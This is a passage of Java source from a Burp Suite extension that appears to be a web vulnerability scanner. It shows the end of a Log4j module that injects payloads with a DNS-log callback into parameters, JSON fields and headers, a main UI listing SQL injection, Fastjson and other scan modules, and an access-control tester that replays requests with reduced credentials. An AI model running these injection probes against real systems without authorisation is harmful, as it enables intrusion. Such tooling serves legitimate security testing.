payload加前缀 String log4jIpPayload = ip + "/log4j." + logPrefix; log4jPayload.add(log4j.replace("dnslog-url", log4jIpPayload)); } } else { log4jPayload.add(log4j); } } } // 检测参数 if (isCheckParam) { for (IParameter para : paraLists) { if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) { String paraName = para.getName(); String paraValue = para.getValue(); // 判断参数是否在url中 if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) { for (String logPayload : log4jPayload) { // 如果是在get请求中,需要对payload进行url编码 if (para.getType() == PARAM_URL) { logPayload = Utils.UrlEncode(logPayload); } IParameter iParameter = Utils.helpers.buildParameter(paraName, logPayload, para.getType()); byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); byte[] log4jresponseBody = newRequestResponse.getResponse(); String ParamLength = ""; String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode()); if (log4jresponseBody != null) { // 判断有无Content-Length字段 IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(log4jresponseBody); List log4jHeaders = ReqResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, "Content-Length"); if (contentLength != null){ ParamLength = contentLength; } } if (ParamLength.isEmpty()) { assert log4jresponseBody != null; ParamLength = String.valueOf(log4jresponseBody.length); } add(method, url, ParamstatusCode, ParamLength, newRequestResponse); } } // 判断参数是否在json中 if (para.getType() == PARAM_JSON) { for (String logPayload : log4jPayload) { String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1]; Map request_json = JSON.parseObject(request_data); List objectList = JsonUtils.updateJsonObjectFromStr(request_json, Utils.ReplaceChar(logPayload), 0); String json = ""; for (Object o : objectList) { json = JSON.toJSONString(o); } byte[] bytes = Utils.helpers.buildHttpMessage(reqheaders, json.getBytes()); IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); byte[] log4jresponseBody = newRequestResponse.getResponse(); String ParamLength = ""; String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode()); if (log4jresponseBody != null) { // 判断有无Content-Length字段 IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(log4jresponseBody); List log4jHeaders = ReqResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, "Content-Length"); if (contentLength != null){ ParamLength = contentLength; } } if (ParamLength.isEmpty()) { assert log4jresponseBody != null; ParamLength = String.valueOf(log4jresponseBody.length); } add(method, url, ParamstatusCode, ParamLength, newRequestResponse); } break; } } } } // 检测header if (isCheckHeader) { byte[] byte_Request = baseRequestResponse.getRequest(); int bodyOffset = analyzeRequest.getBodyOffset(); int len = byte_Request.length; byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); for (String logPayload : log4jPayload) { List reqheaders2 = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); List newReqheaders = new ArrayList<>(); Iterator iterator = reqheaders2.iterator(); while (iterator.hasNext()) { String reqheader = iterator.next(); for (String header : headerList) { if (reqheader.contains(header)) { iterator.remove(); String newHeader = header + ": " + logPayload; if (!newReqheaders.contains(newHeader)) { newReqheaders.add(newHeader); } } } } for (String header : headerList) { String newHeader = header + ": " + logPayload; // if (!reqheaders2.contains(header) && !newReqheaders.contains(newHeader)) { // newReqheaders.add(newHeader); // } newReqheaders.add(newHeader); } reqheaders2.addAll(newReqheaders); byte[] postMessage = Utils.helpers.buildHttpMessage(reqheaders2, body); IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); byte[] responseBody = originalRequestResponse.getResponse(); String originallength = ""; String statusCode = ""; if (responseBody != null) { IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); List log4jHeaders = originalReqResponse.getHeaders(); statusCode = String.valueOf(originalReqResponse.getStatusCode()); String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, "Content-Length"); if (contentLength != null){ originallength = contentLength; } } if (originallength.isEmpty()) { assert responseBody != null; originallength = String.valueOf(responseBody.length); } add(method, url, statusCode, originallength, originalRequestResponse); } } }finally { lock.unlock(); } } static class Log4jModel extends AbstractTableModel { @Override public int getRowCount() { return log4jlog.size(); } @Override public int getColumnCount() { return 5; } @Override public String getColumnName(int column) { switch (column) { case 0: return "#"; case 1: return "Method"; case 2: return "URL"; case 3: return "Status"; case 4: return "Length"; default: return ""; } } @Override public Object getValueAt(int rowIndex, int columnIndex) { Log4jEntry logEntry = log4jlog.get(rowIndex); switch (columnIndex) { case 0: return logEntry.id; case 1: return logEntry.extensionMethod; case 2: return logEntry.url; case 3: return logEntry.res; case 4: return logEntry.length; default: return null; } } @Override public Class getColumnClass(int column) { if (column == 0) { return Integer.class; } return super.getColumnClass(column); } } public static class Log4jEntry { final int id; final String extensionMethod; final String url; final String length; final String res; final IHttpRequestResponse requestResponse; public Log4jEntry(int id, String extensionMethod, String url, String res, String length, IHttpRequestResponse requestResponse) { this.id = id; this.extensionMethod = extensionMethod; this.url = url; this.length = length; this.res = res; this.requestResponse = requestResponse; } } class URLTable extends JTable { public URLTable(TableModel tableModel) { super(tableModel); setAutoCreateRowSorter(true); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); } @Override public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { // 如果表格已排序,需要将视图索引转换为模型索引 int modelRow = rowIndex; if (getRowSorter() != null) { modelRow = convertRowIndexToModel(rowIndex); } Log4jEntry logEntry = log4jlog.get(modelRow); HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); if (logEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = logEntry.requestResponse; super.changeSelection(rowIndex, columnIndex, toggle, extend); } } } ================================================ FILE: src/main/java/burp/ui/MainUI.java ================================================ package burp.ui; import burp.IBurpExtenderCallbacks; import burp.ITab; import burp.utils.Utils; import javax.swing.*; import java.awt.*; import java.util.ArrayList; import java.util.List; import java.util.Map; public class MainUI extends JPanel implements ITab { private static JTabbedPane mainPanel; IBurpExtenderCallbacks callbacks; public static Map moduleStatus; public MainUI(IBurpExtenderCallbacks callbacks) { this.callbacks = callbacks; try { mainPanel = new JTabbedPane(); for (int i = 0; i < init().size(); i++) { Class clazz = Class.forName(init().get(i)); UIHandler uiHandler = (UIHandler) clazz.newInstance(); uiHandler.init(); mainPanel.add(uiHandler.getTabName(), uiHandler.getPanel(callbacks)); } }catch (Exception e ){ Utils.stderr.println(e.getMessage()); } } public static List init() { List uiList = new ArrayList<>(); uiList.add("burp.ui.AuthUI"); uiList.add("burp.ui.SqlUI"); uiList.add("burp.ui.PermUI"); uiList.add("burp.ui.FastjsonUI"); uiList.add("burp.ui.Log4jUI"); uiList.add("burp.ui.RouteUI"); uiList.add("burp.ui.SocksUI"); uiList.add("burp.ui.UrlRedirectUI"); uiList.add("burp.ui.SimilarUI"); uiList.add("burp.ui.ConfigUI"); return uiList; } @Override public String getTabCaption() { return Utils.NAME; } @Override public Component getUiComponent() { return mainPanel; } } ================================================ FILE: src/main/java/burp/ui/PermUI.java ================================================ package burp.ui; import burp.*; import burp.bean.PermBean; import burp.ui.UIHepler.GridBagConstraintsHelper; import burp.utils.I18nUtils; import burp.utils.Utils; import burp.utils.UrlCacheUtil; import javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.TableColumnModel; import javax.swing.table.TableModel; import java.awt.*; import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.StringSelection; import java.awt.event.ActionEvent; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import static burp.dao.PermDao.*; /** * @Author Xm17 * @Date 2024-06-22 9:11 */ public class PermUI implements UIHandler, IMessageEditorController, IHttpListener { private JPanel panel; // 主面板 private static JTable permTable; // perm表格 private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求 private JTabbedPane tabbedPanereqresp; // 请求tab private JPanel originPane; // 原始请求面板 private JPanel lowpermPane; // 低权限请求面板 private JPanel nopermPane; // 无权限请求面板 private JCheckBox passiveScanCheckBox; // 被动扫描选择框 private JCheckBox whiteDomainListCheckBox; // 白名单域名选择框 private JTextArea whiteDomainListTextArea; // 白名单域名输入框 private JButton saveWhiteDomainButton; // 保存白名单按钮 private JButton saveAuthDataButton; // 保存认证数据按钮 private JButton refreshButton; // 刷新按钮 private JButton clearButton; // 清空数据按钮 private JButton exportButton; // 导出按钮 private JTextArea lowPermAuthTextArea; // 低权限认证请求信息输入框 private JTextArea noPermAuthTextArea; // 无权限认证请求信息输入框 private IMessageEditor originarequest; // 原始请求 private IMessageEditor originaresponse; // 原始响应 private IMessageEditor lowpermrequest; // 低权限请求 private IMessageEditor lowpermresponse; // 低权限响应 private IMessageEditor nopermrequest; // 无权限请求 private IMessageEditor nopermresponse; // 无权限响应 private static final List permlog = new ArrayList<>(); // permlog 用于存储请求 private static final List parameterList = new ArrayList<>(); // 参数列表 private static final List urlHashList = new ArrayList<>(); // url hash list private static boolean ispassiveScan; // 是否被动扫描 private static boolean isWhiteDomainList; // 是否白名单 private static final Lock lock = new ReentrantLock(); public static void resetAllCaches() { urlHashList.clear(); parameterList.clear(); UrlCacheUtil.resetCache("perm"); } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { if (ispassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { synchronized (permlog) { Thread thread = new Thread(new Runnable() { @Override public void run() { Check(new IHttpRequestResponse[]{iHttpRequestResponse}, false); } }); thread.start(); } } } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { setupUI(); setupData(); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "PermAccess"; } // 初始化数据 private void setupData() { // 白名单域名输入框 List whiteDomain = getPermListsByType("domain"); for (PermBean permBean : whiteDomain) { // 如果是最后一个,就不加换行符 if (whiteDomain.indexOf(permBean) == whiteDomain.size() - 1) { whiteDomainListTextArea.setText(whiteDomainListTextArea.getText() + permBean.getValue()); break; } whiteDomainListTextArea.setText(whiteDomainListTextArea.getText() + permBean.getValue() + "\n"); } // permLowAuth输入框 List permBeanLowAuth = getPermListsByType("permLowAuth"); for (PermBean permBean : permBeanLowAuth) { // 如果是最后一个,就不加换行符 if (permBeanLowAuth.indexOf(permBean) == permBeanLowAuth.size() - 1) { lowPermAuthTextArea.setText(lowPermAuthTextArea.getText() + permBean.getValue()); break; } lowPermAuthTextArea.setText(lowPermAuthTextArea.getText() + permBean.getValue() + "\n"); } // permNoAuth输入框 List permBeanNoAuth = getPermListsByType("permNoAuth"); for (PermBean permBean : permBeanNoAuth) { // 如果是最后一个,就不加换行符 if (permBeanNoAuth.indexOf(permBean) == permBeanNoAuth.size() - 1) { noPermAuthTextArea.setText(noPermAuthTextArea.getText() + permBean.getValue()); break; } noPermAuthTextArea.setText(noPermAuthTextArea.getText() + permBean.getValue() + "\n"); } // 被动扫描选择框 passiveScanCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (passiveScanCheckBox.isSelected()) { ispassiveScan = true; } else { ispassiveScan = false; } } }); // 白名单域名选择框 whiteDomainListCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (whiteDomainListCheckBox.isSelected()) { isWhiteDomainList = true; } else { isWhiteDomainList = false; } } }); // 保存白名单 saveWhiteDomainButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String whiteDomainList = whiteDomainListTextArea.getText(); deletePerm("domain"); if (whiteDomainList.contains("\n")) { String[] split = whiteDomainList.split("\n"); for (String domain : split) { PermBean permBean = new PermBean("domain", domain); savePerm(permBean); } } else { PermBean permBean = new PermBean("domain", whiteDomainList); savePerm(permBean); } JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 保存认证数据 saveAuthDataButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String lowPermAuthText = lowPermAuthTextArea.getText(); String noPermAuthText = noPermAuthTextArea.getText(); deletePerm("permLowAuth"); deletePerm("permNoAuth"); if (lowPermAuthText.contains("\n")) { String[] split = lowPermAuthText.split("\n"); for (String lowAuth : split) { PermBean permBean = new PermBean("permLowAuth", lowAuth); savePerm(permBean); } } else { PermBean permBean = new PermBean("permLowAuth", lowPermAuthText); savePerm(permBean); } if (noPermAuthText.contains("\n")) { String[] split = noPermAuthText.split("\n"); for (String noAuth : split) { PermBean permBean = new PermBean("permNoAuth", noAuth); savePerm(permBean); } } else { PermBean permBean = new PermBean("permNoAuth", noPermAuthText); savePerm(permBean); } JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 刷新 refreshButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { permTable.updateUI(); } }); // 清空 clearButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { permlog.clear(); originarequest.setMessage(new byte[0], true); originaresponse.setMessage(new byte[0], false); lowpermrequest.setMessage(new byte[0], false); lowpermresponse.setMessage(new byte[0], false); nopermrequest.setMessage(new byte[0], false); nopermresponse.setMessage(new byte[0], false); urlHashList.clear(); UrlCacheUtil.resetCache("perm"); // 清空URL缓存 permTable.updateUI(); } }); // 导出 exportButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { exportTableToClipboard(); } }); } // 导出表格数据到剪切板 private void exportTableToClipboard() { if (permlog.isEmpty()) { JOptionPane.showMessageDialog(null, I18nUtils.get("perm.message.no_data"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); return; } StringBuilder content = new StringBuilder(); // 添加表头 content.append("id\tmethod\turl\toriginallength\tlowlength\tnolength\tisSuccess\n"); // 添加表格数据 for (PermEntry entry : permlog) { content.append(entry.id).append("\t") .append(entry.method).append("\t") .append(entry.url).append("\t") .append(entry.originalength).append("\t") .append(entry.lowlength).append("\t") .append(entry.nolength).append("\t") .append(entry.isSuccess).append("\n"); } // 复制到剪切板 StringSelection stringSelection = new StringSelection(content.toString()); Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); clipboard.setContents(stringSelection, null); JOptionPane.showMessageDialog(null, I18nUtils.get("perm.message.export_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } // 初始化ui private void setupUI() { // 注册被动扫描监听器 Utils.callbacks.registerHttpListener(this); panel = new JPanel(); panel.setLayout(new BorderLayout()); panel.setMaximumSize(panel.getPreferredSize()); // 设置最大尺寸等于首选尺寸,禁止自动调整 JPanel mainsplitPane = new JPanel(new BorderLayout()); // 左边的面板 // 左边的面板上下分割,比例为7:3 JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); leftSplitPane.setResizeWeight(0.7); leftSplitPane.setDividerLocation(0.7); // 将urlTable添加到leftSplitPane的上边 JScrollPane leftScrollPane = new JScrollPane(); permTable = new URLTable(new PermModel()); permTable.setAutoCreateRowSorter(true); leftScrollPane.setViewportView(permTable); leftSplitPane.setTopComponent(leftScrollPane); // 左边的面板下部分对称分割,比例为5:5 JSplitPane leftBottomSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); leftBottomSplitPane.setResizeWeight(0.5); leftBottomSplitPane.setDividerLocation(0.5); leftSplitPane.setBottomComponent(leftBottomSplitPane); // 请求tab tabbedPanereqresp = new JTabbedPane(); // 添加原始请求面板 originPane = new JPanel(new BorderLayout()); final JSplitPane originPaneSplitPane = new JSplitPane(); originPaneSplitPane.setDividerSize(1); originPaneSplitPane.setResizeWeight(0.5); originarequest = Utils.callbacks.createMessageEditor(PermUI.this, true); originaresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); originPaneSplitPane.setLeftComponent(originarequest.getComponent()); originPaneSplitPane.setRightComponent(originaresponse.getComponent()); originPane.add(originPaneSplitPane, BorderLayout.CENTER); tabbedPanereqresp.addTab(I18nUtils.get("perm.tab.original"), originPane); // 添加低权限请求面板 lowpermPane = new JPanel(new BorderLayout()); final JSplitPane lowpermPaneSplitPane = new JSplitPane(); lowpermPaneSplitPane.setDividerSize(1); lowpermPaneSplitPane.setResizeWeight(0.5); lowpermrequest = Utils.callbacks.createMessageEditor(PermUI.this, true); lowpermresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); lowpermPaneSplitPane.setLeftComponent(lowpermrequest.getComponent()); lowpermPaneSplitPane.setRightComponent(lowpermresponse.getComponent()); lowpermPane.add(lowpermPaneSplitPane, BorderLayout.CENTER); tabbedPanereqresp.addTab(I18nUtils.get("perm.tab.low"), lowpermPane); // 添加无权限请求面板 nopermPane = new JPanel(new BorderLayout()); final JSplitPane nopermPaneSplitPane = new JSplitPane(); nopermPaneSplitPane.setDividerSize(1); nopermPaneSplitPane.setResizeWeight(0.5); nopermrequest = Utils.callbacks.createMessageEditor(PermUI.this, true); nopermresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); nopermPaneSplitPane.setLeftComponent(nopermrequest.getComponent()); nopermPaneSplitPane.setRightComponent(nopermresponse.getComponent()); nopermPane.add(nopermPaneSplitPane, BorderLayout.CENTER); tabbedPanereqresp.addTab(I18nUtils.get("perm.tab.no"), nopermPane); // 请求tab添加到leftBottomSplitPane的左边 leftBottomSplitPane.setLeftComponent(tabbedPanereqresp); // 将leftSplitPane添加到mainsplitPane的左边 mainsplitPane.add(leftSplitPane, BorderLayout.CENTER); JPanel rightSplitPane = new JPanel(new BorderLayout()); rightSplitPane.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5)); // 右边的上面 - 扫描选项 JPanel scanOptionsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5)); scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("perm.border.scan_options"))); // 被动扫描选择框 passiveScanCheckBox = new JCheckBox(I18nUtils.get("perm.checkbox.passive")); // 白名单域名选择框 whiteDomainListCheckBox = new JCheckBox(I18nUtils.get("perm.checkbox.whitelist")); scanOptionsPanel.add(passiveScanCheckBox); scanOptionsPanel.add(whiteDomainListCheckBox); // 右边的中间 - 配置区域 JPanel configPanel = new JPanel(new BorderLayout(5, 5)); configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("perm.border.configuration"))); // 白名单域名配置 JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5)); // 白名单域名Label JLabel whiteListLabel = new JLabel(I18nUtils.get("perm.label.whitelist")); // 白名单域名输入框 whiteDomainListTextArea = new JTextArea(5,10); whiteDomainListTextArea.setLineWrap(false); // 自动换行 whiteDomainListTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteDomainListTextArea); // 保存白名单按钮 saveWhiteDomainButton = new JButton(I18nUtils.get("perm.button.save_whitelist")); whitelistPanel.add(whiteListLabel, BorderLayout.NORTH); whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER); JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); whitelistButtonPanel.add(saveWhiteDomainButton); whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH); // 认证数据配置 JPanel authDataPanel = new JPanel(new BorderLayout(5, 5)); // 保存认证数据按钮 saveAuthDataButton = new JButton(I18nUtils.get("perm.button.save_auth")); // 导出按钮 exportButton = new JButton(I18nUtils.get("perm.button.export")); // 低权限认证请求信息Label JLabel lowPermAuthLabel = new JLabel(I18nUtils.get("perm.label.low_auth")); // 低权限认证请求信息输入框 lowPermAuthTextArea = new JTextArea(5,10); lowPermAuthTextArea.setLineWrap(false); // 自动换行 lowPermAuthTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane lowPermAuthTextAreascrollPane = new JScrollPane(lowPermAuthTextArea); // 无权限认证请求信息Label JLabel noPermAuthLabel = new JLabel(I18nUtils.get("perm.label.no_auth")); // 无权限认证请求信息输入框 noPermAuthTextArea = new JTextArea(5,10); noPermAuthTextArea.setLineWrap(false); // 自动换行 noPermAuthTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane noPermAuthTextAreascrollPane = new JScrollPane(noPermAuthTextArea); // 将认证信息放入分割面板 JSplitPane authSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); authSplitPane.setResizeWeight(0.5); authSplitPane.setDividerLocation(0.5); JPanel lowPermPanel = new JPanel(new BorderLayout(5, 5)); lowPermPanel.add(lowPermAuthLabel, BorderLayout.NORTH); lowPermPanel.add(lowPermAuthTextAreascrollPane, BorderLayout.CENTER); JPanel noPermPanel = new JPanel(new BorderLayout(5, 5)); noPermPanel.add(noPermAuthLabel, BorderLayout.NORTH); noPermPanel.add(noPermAuthTextAreascrollPane, BorderLayout.CENTER); authSplitPane.setTopComponent(lowPermPanel); authSplitPane.setBottomComponent(noPermPanel); JPanel authButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5)); authButtonPanel.add(saveAuthDataButton); authButtonPanel.add(exportButton); authDataPanel.add(authButtonPanel, BorderLayout.NORTH); authDataPanel.add(authSplitPane, BorderLayout.CENTER); // 将白名单和认证数据配置放入分割面板 JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); configSplitPane.setResizeWeight(0.3); configSplitPane.setDividerLocation(0.3); configSplitPane.setTopComponent(whitelistPanel); configSplitPane.setBottomComponent(authDataPanel); configPanel.add(configSplitPane, BorderLayout.CENTER); // 右边的下面 - 操作按钮 JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5)); actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("perm.border.actions"))); // 刷新按钮 refreshButton = new JButton(I18nUtils.get("perm.button.refresh")); // 清空数据按钮 clearButton = new JButton(I18nUtils.get("perm.button.clear")); actionButtonsPanel.add(refreshButton); actionButtonsPanel.add(clearButton); // 将所有面板放入主面板 JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); mainRightSplitPane.setResizeWeight(0.2); mainRightSplitPane.setDividerLocation(0.2); mainRightSplitPane.setTopComponent(scanOptionsPanel); JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5)); configAndActionsPanel.add(configPanel, BorderLayout.CENTER); configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH); mainRightSplitPane.setBottomComponent(configAndActionsPanel); rightSplitPane.add(mainRightSplitPane, BorderLayout.CENTER); // 将rightSplitPane添加到mainsplitPane的右边 mainsplitPane.add(rightSplitPane, BorderLayout.EAST); panel.add(mainsplitPane, BorderLayout.CENTER); } // 核心检测方法 public static void Check(IHttpRequestResponse[] responses, boolean isSend) { lock.lock(); try{ IHttpRequestResponse baseRequestResponse = responses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String method = analyzeRequest.getMethod(); String host = baseRequestResponse.getHttpService().getHost(); URL rdurlURL = analyzeRequest.getUrl(); String url = analyzeRequest.getUrl().toString(); List paraLists = analyzeRequest.getParameters(); // 如果method不是get或者post方式直接返回 if (!method.equals("GET") && !method.equals("POST")) { return; } // 如果是右键发送的则不进行去重 if (!isSend) { if (!UrlCacheUtil.checkUrlUnique("perm", method, rdurlURL, paraLists)) { return; } } else { isWhiteDomainList = false; } // url 中匹配为静态资源 if (Utils.isUrlBlackListSuffix(url)){ return; } // 开启白名单域名检测 if (isWhiteDomainList) { List domain = getPermListsByType("domain"); if (domain.isEmpty()) { JOptionPane.showMessageDialog(null, I18nUtils.get("perm.message.fill_whitelist"), I18nUtils.get("config.title.info"), JOptionPane.ERROR_MESSAGE); return; } // 将domain转为List List domainList = new ArrayList<>(); for (PermBean permBean : domain) { domainList.add(permBean.getValue()); } // 如果未匹配到 直接返回 if (!Utils.isMatchDomainName(host,domainList)){ return; } } // 原始请求 List originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); byte[] byte_Request = baseRequestResponse.getRequest(); int bodyOffset = analyzeRequest.getBodyOffset(); int len = byte_Request.length; byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body); IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); byte[] responseBody = originalRequestResponse.getResponse(); String originallength = ""; if (responseBody != null) { IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); List headers = originalReqResponse.getHeaders(); for (String header : headers) { String[] parts = header.split(":"); if (parts.length == 2 && "Content-Length".equalsIgnoreCase(parts[0].trim())) { originallength = parts[1].trim(); break; } } } if (originallength.isEmpty()) { assert responseBody != null; originallength = String.valueOf(responseBody.length); } // 如果原始请求的响应体为空,则不进行后续操作 if (responseBody == null) { return; } // 获取低权限数据去构造请求 List lowheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); List permBeanLowAuth = getPermListsByType("permLowAuth"); for (PermBean permBean : permBeanLowAuth) { String lowAuthText = permBean.getValue(); String head = lowAuthText.split(":")[0]; boolean headerFound = false; for (int i = 0; i < lowheaders.size(); i++) { String lowheader = lowheaders.get(i).split(":")[0]; if (lowheader.equals(head)) { lowheaders.set(i, lowAuthText); headerFound = true; break; } } if (!headerFound) { lowheaders.add(lowAuthText); } } byte[] lowMessage = Utils.helpers.buildHttpMessage(lowheaders, body); IHttpRequestResponse lowRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), lowMessage); byte[] lowresponseBody = lowRequestResponse.getResponse(); String lowlength = ""; IResponseInfo lowReqResponse = Utils.helpers.analyzeResponse(lowresponseBody); List lowReqResheaders = lowReqResponse.getHeaders(); for (String header : lowReqResheaders) { String[] parts = header.split(":"); if (parts.length == 2 && "Content-Length".equalsIgnoreCase(parts[0].trim())) { lowlength = parts[1].trim(); break; } } if (lowlength.isEmpty()) { lowlength = String.valueOf(lowresponseBody.length); } // 无权限请求 List noheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); List permBeanNoAuth = getPermListsByType("permNoAuth"); List updatedHeaders = new ArrayList<>(); for (String header : noheaders) { boolean shouldKeep = true; for (PermBean permBean : permBeanNoAuth) { String noAuthText = permBean.getValue(); String head = header.split(":")[0]; if (head.equals(noAuthText)) { shouldKeep = false; break; } } if (shouldKeep) { updatedHeaders.add(header); } } // 更新原始的noheaders列表 noheaders.clear(); noheaders.addAll(updatedHeaders); byte[] noMessage = Utils.helpers.buildHttpMessage(noheaders, body); IHttpRequestResponse noRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), noMessage); byte[] noresponseBody = noRequestResponse.getResponse(); String nolength = ""; IResponseInfo noReqResponse = Utils.helpers.analyzeResponse(noresponseBody); List noReqResheaders = noReqResponse.getHeaders(); for (String header : noReqResheaders) { String[] parts = header.split(":"); if (parts.length == 2 && "Content-Length".equalsIgnoreCase(parts[0].trim())) { nolength = parts[1].trim(); break; } } if (nolength.isEmpty()) { nolength = String.valueOf(noresponseBody.length); } String isSuccess = "×"; if (originallength.equals(lowlength) && lowlength.equals(nolength)) { isSuccess = "未授权"; } else if (originallength.equals(lowlength)) { isSuccess = "存在越权"; } else { isSuccess = "不存在"; } add(method, url, originallength, lowlength, nolength, isSuccess, originalRequestResponse, lowRequestResponse, noRequestResponse); // add(method, url, originallength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse); }finally { lock.unlock(); } } private static void add(String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse baseRequestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { synchronized (permlog) { int id = permlog.size(); permlog.add(new PermEntry(id, method, url, originalength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse)); permTable.updateUI(); } } // perm 模型 static class PermModel extends AbstractTableModel { @Override public int getRowCount() { return permlog.size(); } @Override public int getColumnCount() { return 7; } @Override public Object getValueAt(int rowIndex, int columnIndex) { switch (columnIndex) { case 0: return permlog.get(rowIndex).id; case 1: return permlog.get(rowIndex).method; case 2: return permlog.get(rowIndex).url; case 3: return permlog.get(rowIndex).originalength; case 4: return permlog.get(rowIndex).lowlength; case 5: return permlog.get(rowIndex).nolength; case 6: return permlog.get(rowIndex).isSuccess; default: return null; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "method"; case 2: return "url"; case 3: return "originalength"; case 4: return "lowlength"; case 5: return "nolength"; case 6: return "isSuccess"; default: return null; } } @Override public Class getColumnClass(int column) { if (column == 0) { return Integer.class; } return super.getColumnClass(column); } } // perm 实体 private static class PermEntry { final int id; final String method; final String url; final String originalength; final String lowlength; final String nolength; final String isSuccess; IHttpRequestResponse requestResponse; IHttpRequestResponse lowRequestResponse; IHttpRequestResponse noRequestResponse; public PermEntry(int id, String method, String url, 